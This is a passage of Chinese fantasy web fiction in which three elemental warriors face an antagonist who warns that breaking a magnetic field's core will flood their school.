“她能用木元素力量?”延光惊疑不定,“她不应该是土元素战士吗?” 木英猛地摇头,看着徐宁和寒洲也甩开兽群下来,压低声音飞快道:“我和她的元素比较特殊,彼此有联系……她虽然不能完全控制我的手环,但可以使用一些。” 木依托于土而生,她们之间,应该是存在联系的,她也未必不能用谢望云的。 这些都只是猜测,木英迅速往上瞟了一眼,拔高声音道:“我们得赶快出去,这个磁场和学校有关,我感觉不对劲……” 徐宁早就受不了了,她摩拳擦掌:“走,找核心去,那家伙要是跟来就顺便揍她一顿。” “不必了。”隔了老远的距离,谢望云也不走过来,却好像能听见她们在说什么似的,面上绽开一抹笑,做出一个请的手势:“核心就在哪,去破吧。” 三人转头看去,只见再往下的地方,是一条平缓的小河,上面潜伏这一颗半人高的蓝色菱形晶石。之前视野有限,后来都要被灵兽埋了,她们也没注意到,下面的景色竟然还不错并且…… 嗯……?好眼熟的河流。 寒洲才不信谢望云会这么好心,冷冷看过去:“谁知道她指的是真是假,抓住她,该问的总能问出来。” 谢望云突然笑了。 “我没有不说啊,”她缓缓道:“这就是学校后山的河,哦,你们宿舍那栋楼景色挺不错,应该能看到呢。你们打破了这核心,水元素就会冲破磁场,到时候……这学校,可就淹啦!” 她语气轻快地像中了个彩票,三人后知后觉反应过来,脸色顿时无比难看。木英颤抖发问:“水淹学校……?你不是土元素吗?为什么?我以为你只是针对我们。” “唔,你们的手环没有告诉你们,这是一个水属性的磁场吗?”谢望云愉悦地笑出声来:“哎呀哎呀,怎么办呢,正义的御灵战士要水淹学校啦!” 徐宁当时就想上去给她一拳。 河流静静地流淌,谢望云笑盈盈望着她们,灵兽在无声中虎视眈眈,气氛顿时微妙起来。这个时候,不论哪一方先动,都会导致平衡被打破,直接乱成一锅粥。 三人彼此对视,都感到了窒息。